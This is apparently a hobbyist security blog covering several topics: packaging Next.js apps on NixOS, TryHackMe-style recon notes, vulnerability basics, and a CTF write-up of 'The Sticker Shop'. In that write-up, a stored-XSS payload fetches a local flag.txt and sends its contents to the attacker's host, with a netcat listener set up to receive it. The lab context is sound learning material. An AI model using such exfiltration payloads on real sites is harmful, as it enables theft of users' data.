About

Logo
@codedsprit

Hii, I'm codedsprit. I am a 18 years old guy from Nepal, who loves computers and softwares.

I'm a Security Researcher(not by profession), I play ctfs and do Bug Bounty. I believe in secure software and FOSS. Here you can find most of my writeups related to CTFs' and my findings.

Packaging Next-JS Webapps on Nix

Recently, I just started to learn NextJS to broaden my security knowledge, since my primer OS is Nix, there is a need of configuring NextJS environment. This Post will explain how I package a NextJS Webapp in my Nix-OS.

Packaging

Statically Exported Webapps

Statically exported ones are easy to package, because it is a matter of running npm build (or whatever your build script is) with the following NextJS settings

// next.config.js
module.exports = {
  distDir: "dist", // an artitrary path for your export
  output: "export",
};

This will export a static website with a bunch of html files that you can then serve with nodePackages.serve or a webserver like nginx or apache. And that is the end of your worries for a statically exported website! No headache, just write a simple derivation, such as the one below

# default.nix
{
  buildNpmPackage,
  pkg-config,
  python3,
  ...
}:
buildNpmPackage {
  pname = "your-website";
  version = "0.1";

  src = ./.;
  # needs to be updated everytime you update npm dependencies
  npmDepsHash = "sha256-some-hash";
  # some npm packages may need to be built from source, because nodejs is a *terrible* ecosystem
  nativeBuildInputs = [pkg-config python3];

 # move exported website to $out
 postInstall = ''
    cp -rf dist/* $out
  '';
}

Webapps that cannot be statically exported

If your website depends on API routes for some reasons, then Next will not allow you to do static export. Which means you need to run next start in some shape or form. While a systemd service is certainly a way of doing it (one that I do not recommend), a oci container works as well if not better.

You can write a "simple" docker image for your oci container to use, such as the one below

# dockerImage.nix
{
  pkgs,
  inputs,
  ...
}: {
  dockerImage = pkgs.dockerTools.buildImage {
    config = {
      WorkingDir = "/your-website";
      Cmd = ["npm" "run" "serve"];
    };

    name = "your-website";
    tag = "latest";

    fromImage = pkgs.dockerTools.buildImage {
      name = "node";
      tag = "18-alpine";
    };

    copyToRoot = pkgs.buildEnv {
      name = "image-root";

      paths = with pkgs; [
        # this package is called from a flake.nix alongside the derivation for the website
        inputs.self.packages.${pkgs.stdenv.system}.your-website
        nodejs
        bash
      ];

      pathsToLink = [
        "/bin"
        "/your-website"
      ];
    };
  };
}

Then, configure oci-containers module option to pick up the Docker image that you have built.

virtualisation.oci-containers = {
  backend = "podman";
  containers = {
    "website-container" = {
      autoStart = true;
      ports = [
        "3000:3000" # bind container's port 3000 to the outside port 3000 for NextJS
      ];

      extraOptions = ["--network=host"];

      image = "your-website";
      imageFile = inputs.website-flake.packages.${pkgs.stdenv.system}.dockerImage;
    };
  };
};

After a rebuild, your system will provision the container and start it on port 3000. You can access it with your-server-ip:3000 in your browser, and even configure nginx to set up a reverse proxy to assign your domain.

"example.com" = {
  locations."/".proxyPass = "http://127.0.0.1:3000";
};

This will assign your domain to your webserver, and allow outside visitors to view your "awesome" NextJS webapp.

Projects I've worked on

Most of my projects are on my GitHub. List of a few below.

ProjectsDescription
Earlymoon🌙 DNS query tool written in go
gocrt☘️ Find subdomain using http://crt.sh in terminal.

Content discovery / recon

The process of identifying and mapping out different type of components,fuctionality, subdomains, directories, and endpoints is content discovery.

When doing content discovery the following components we should look for

  • Technology stack
  • Subdomains
  • Directories and endpoints
  • Parameters and Functionality
  • APIs
  • JS files
  • Open services and Ports.

Analyzing web services contains

  • About running Server
  • Operating systems, Web server (Apache/Nginx)
  • Version of the Web Server
  • Subdomains we can look for.

Looking for Common files

  • robots.txt, security.txt
  • .htaccess
  • manifest.json
  • sitemap.xml
  • browserconfig.xml etc

Frontend Checks

  • Instecting the page source, checking scripts
  • Check for Links(broken) or active and check for sensitive information

Entry Point

  • Check for what endpoints exist, HTTP methods, used Parameters
  • Fuzz for endpoints, files, parameters, methods and etc.

Putting all together

  • Load Balancers
  • CDN(Content Delivery Network)
  • Databases
  • WAF(Web application Firewalls)
  • How a web server works.

Load Balancers

Load balancers ensure websites can handle high traffic and provide failover if a server becomes unresponsive. When you request a website, the load balancer forwards the request to one of the multiple servers behind it, using algorithms like round-robin (sequential) or weighted (least busy). They also perform health checks on servers. If a server becomes unresponsive, the load balancer will stop sending traffic until it's functional again.

img

Content Delivery Network

A CDN reduces traffic to busy websites by hosting static files (JavaScript, CSS, images, videos) across thousands of servers worldwide. When a user requests a file, the CDN sends it from the nearest server instead of a distant location.

Databases

Websites store user data by communicating with databases, ranging from simple text files to complex server clusters for speed and resilience. Common databases include MySQL, MSSQL, MongoDB, and PostgreSQL, each with unique features.

img

Web Application Firewalls

A WAF sits between the user and the web server, protecting against hacking or denial of service attacks. It analyzes web requests for common attack techniques, checks if the request is from a real browser, and uses rate limiting to control excessive requests. Suspicious requests are dropped before reaching the web server.

img

How a Web Server Works.

  • Virtual Hosts
  • Static vs Dynamic content
  • Scripting / Backend language
Virtual Hosts on Web Servers

Web servers use virtual hosts to host multiple websites with different domain names. Here's how it works:

  • The server checks the hostname in the HTTP headers.
  • It matches the hostname to a virtual host configuration.
  • If a match is found, the corresponding website is served.
  • If no match is found, the default website is shown.
Directory Mapping

Each virtual host can have its root directory mapped to a specific location on the server, for example:

  • one.com/var/www/website_one
  • two.com/var/www/website_two
Unlimited Hosting

There’s no limit to the number of websites a web server can host using virtual hosts.

Static vs Dynamic Content

Static Content
  • Content that never changes.
  • Examples: Images, JavaScript, CSS, and unchanging HTML files.
  • Served directly from the web server without modifications.
Dynamic Content
  • Content that changes based on requests.
  • Examples: Blog homepages showing the latest entries or search results.
  • Generated by the Backend using programming and scripting languages
Frontend vs Backend
  • Backend: Processes and generates dynamic content behind the scenes.
  • Frontend: Displays the resulting content (HTML, CSS, etc.) in the browser.

Backend Languages and Interactivity

Backend Capabilities
  • Make websites interactive by:
    • Interacting with databases.
    • Calling external services.
    • Processing user data.
  • Examples of backend languages: PHP, Python, Ruby, NodeJS, Perl, etc.
Example: PHP Script

Requesting http://example.com/index.php?name=adam with the script:

<html><body>Hello <?php echo $_GET["name"]; ?></body></html>

output:

<html><body>Hello adam</body></html>

 

Copyright © 2024-present codedsprit.xyz

Active Reconnaissance

Learn how to use simple tools such as traceroute, ping, telnet, and a web browser to gather information.

img

Active reconnaissance is the process of gathering information about a target system, network, or application by directly interacting with it. This typically involves sending requests or signals to the target to observe its responses. Examples include scanning for open ports, testing vulnerabilities, or using tools like nmap, ping, or Nikto.

Web Browser

An Web browser is all we need to gather information besides using command line tools. In this module about web browser section i learned about various tools like FroxyProxy Wappalyzer User-Agent Switcher and Manager and about browser developer tools.

  • froxyproxy :- Quickly switch proxy servers for accessing target websites. Ideal for tools like Burp Suite or frequent proxy changes.
  • Wappalyzer :- Identifies technologies used on visited websites, useful for gathering info while browsing.
  • User-Agent Switcher and Manager :- Allows you to mimic accessing a webpage from a different OS or browser, like pretending to use an iPhone while on Firefox.

img

Ping

The ping command checks if a device or website is reachable on a network by sending small data packets and measuring how long it takes for them to return. It’s like saying “Hello, are you there?” and waiting for a response.

[!IMPORTANT] Below are some screenshots for ping command which answers the given questions in the room

  • Deploy the VM for this task and using the AttackBox terminal, issue the command ping -c 10 10.10.166.101. How many ping replies did you get back?

Screenshot from 2024-12-24 06-59-36

img

Traceroute

Traceroute is a network tool that shows the path data takes to travel from your device to a target server. It lists all the routers (hops) the data passes through and shows how long it takes to reach each one. It's useful for diagnosing network issues or delays.

[!NOTE] note that the route taken by the packets might change as many routers use dynamic routing protocols that adapt to network changes.

img

Telnet

Telnet (teletype Network) is a network protocol that allows users to connect to and control remote computers over the internet or a local network, using a text-based command-line interface. It is mostly used for testing and troubleshooting but is outdated and insecure due to a lack of encryption.

Here is the screenshot for the answer in the room. I'm using nmap instead of telnet cuz it has some problem while using, the purpose is same :D

Screenshot from 2024-12-24 07-38-29

img

Netcat

Netcat (nc) is a versatile command-line networking tool used for reading, writing, and analyzing data across network connections. It can function as a port scanner, chat server, file transfer tool, or even a simple backdoor. It’s often called the "Swiss Army knife" of networking.


OptionMeaning
-lListen mode
-pSpecify the Port number
-nNumeric only; no resolution of hostnames via DNS
-vVerbose output (optional, yet useful to discover any bugs)
-vvVery Verbose (optional)
-kKeep listening after client disconnects

[!NOTES]

  • the option -p should appear just before the port number you want to listen on.
  • the option -n will avoid DNS lookups and warnings.
  • port numbers less than 1024 require root privileges to listen on.

IDk why nc netcat is not working..

Screenshot from 2024-12-24 07-48-30

img

Putting It All Together

In this room I have learned about active recon using different tools including netcat, telnet, traceroute, ping and recon using web browser. Here are some cheats from the room. Commands and how to use them with examples

CommandExample
pingping -c 10 10.10.6.12 on Linux or macOS
pingping -n 10 10.10.6.12 on MS Windows
traceroutetraceroute 10.10.6.12 on Linux or macOS
tracerttracert 10.10.6.12 on MS Windows
telnettelnet 10.10.6.12 PORT_NUMBER
netcat as clientnc 10.10.6.12 PORT_NUMBER
netcat as servernc -lvnp PORT_NUMBER

Developer Tools Shortcuts

Operating SystemShortcut
Linux or MS WindowsCtrl + Shift + I
macOSOption + Command + I

img

thm

The Sticker Shop

Can you exploit the sticker shop in order to capture the flag?

Starting task, as we are going to face with a server run by a Local Sticker Shop hosted. I started the machine and jump over it.

The first step I took is to visit the website and looked for the source and found /submit_feedback dir, which catched me.

And I visited to /submit_feedback and found a submition functionality available.

Screenshot from 2025-01-03 07-33-51

As soon I saw this, I just started to try random XSS payloads, from payloadbox/xss-payload-list, and cam to this payload..

<img src=x onerror="fetch('<ip>:8080')"/>

[!NOTE] In the above payload an image would be loaded as img tag refers to X location, since the src fail to load and it simply goes to execute following and we just can grap the http request using nc

fetch('http://<ip>:8080');

And I just nc the headers before the submition of the payload, and yeah like this !!!

nc -knvlp 8080
Screenshot from 2025-01-03 08-10-35Screenshot from 2025-01-03 08-08-40
Now to grab the flag I have used the following payload..
<img src="x" onerror="fetch('http://127.0.0.1:8080/flag.txt').then(r => r.text()).then(r => fetch('http://<ip>:8080/?c=' + r)).catch(e => fetch('http://<ip>:8080/?c=' + e))"/>

[!NOTE] Componenets..

  • <img src="x" onerror="..."> - The image src is invalid, causing the onerror attribute to execute when the browser fails to load the image.
  • fetch('http://127.0.0.1:8080/flag.txt') - This initiates an HTTP GET request to the victim's localhost at port 8080, targeting the flag.txt file.
  • .then(r => r.text()) - If the request succeeds, this processes the response (r) and converts it into text using the .text() method.
  • .then(r => fetch('http://<ip>:8080/?c=' + r)) - After retrieving the file content, another fetch request sends the content (r) to the attacker's server (http://<ip>:8080) as part of the query string (?c=...).
  • .catch(e => fetch('http://<ip>:8080/?c=' + e)) - If the initial fetch fails (e.g., the file doesn't exist or CORS blocks the request), the catch block handles the error and sends the error message (e) to the attacker's server. flag png

Yes! Thank you for reading till here ;)

test for blog

d30e917f1945d3e25592ee34805bb900

Vulnerabilities 101

Understand the flaws of an application and apply your researching skills on some vulnerability databases

Introduction to Vulnerability

A vulnerability in cybersecurity is defined as a weakness or flaw in the design, implementation or behaviours of a system or application. An attacker can exploit these weaknesses to gain access to unauthorised information or perform unauthorised actions.


VulnerabilityDescription
Operating SystemThese types of vulnerabilities are found within Operating Systems (OSs) and often result in privilege escalation.
(Mis)Configuration-basedThese types of vulnerabilities stem from an incorrectly configured application or service. For example, a website exposing customer details.
Weak or Default CredentialsApplications and services that have an element of authentication will come with default credentials when installed. For example, an administrator dashboard may have the username and password of "admin". These are easy to guess by an attacker.
Application LogicThese vulnerabilities are a result of poorly designed applications. For example, poorly implemented authentication mechanisms that may result in an attacker being able to impersonate a user.
Human-FactorHuman-Factor vulnerabilities are vulnerabilities that leverage human behaviour. For example, phishing emails are designed to trick humans into believing they are legitimate.

Scoring Vulnerabilities (CVSS & VPR)

Vulnerability management is the process of evaluating, categorising and ultimately remediating threats (vulnerabilities) faced by an organisation. It is arguably impossible to patch and remedy every single vulnerability in a network or computer system and sometimes a waste of resources.

Common Vulnerability Scoring System

CVSS's common factors to determine a vunlerability

  • How easy is it to exploit vulnerability?
  • Do exploits exists or not?
  • How does this vulnerability interfere with the CIA triad?

Severity Rating Scale and their score ranges

RatingScore
None0
Low0.1 - 3.9
Medium4.0 - 6.9
High7.0 - 8.9
Critical9.0 - 10.0

However, CVSS is not a magic bullet. Let's analyse some of the advantages and disadvantages of CVSS in the table below:

Vulnerability Priority Rating (VPR)

Unlike CVSS, VPR scoring takes into account the relevancy of a vulnerability. For example, no risk is considered regarding a vulnerability if that vulnerability does not apply to the organisation (i.e. they do not use the software that is vulnerable). VPR is also considerably dynamic in its scoring, where the risk that a vulnerability may pose can change almost daily as it ages.

VPR uses a similar scoring range as CVSS, which I have also put into the table below. However, two notable differences are that VPR does not have a "None/Informational" category, and because VPR uses a different scoring method, the same vulnerability will have a different score using VPR than when using CVSS.

RatingScore
Low0.0 - 3.9
Medium4.0 - 6.9
High7.0 - 8.9
Critical9.0 - 10.0

Vulnerability Databases

  1. National Vulnerability Database(NVD)
  2. Exploit-DB

Common terms to remember..
TermDefinition
VulnerabilityA vulnerability is defined as a weakness or flaw in the design, implementation, or behaviours of a system or application.
ExploitAn exploit is something such as an action or behaviour that utilises a vulnerability on a system or application.
Proof of Concept (PoC)A PoC is a technique or tool that often demonstrates the exploitation of a vulnerability.

NVD – National Vulnerability Database

The National Vulnerability Database is a website that lists all publically categorised vulnerabilities. In cybersecurity, vulnerabilities are classified under “Common Vulnerabilities and Exposures” (Or CVE for short).

aa86c1cce478d6c357f5507d927c9e88

Exploit-DB

Exploit-DB is a resource that we, as hackers, will find much more helpful during an assessment. Exploit-DB retains exploits for software and applications stored under the name, author and version of the software or application.

exploitdb1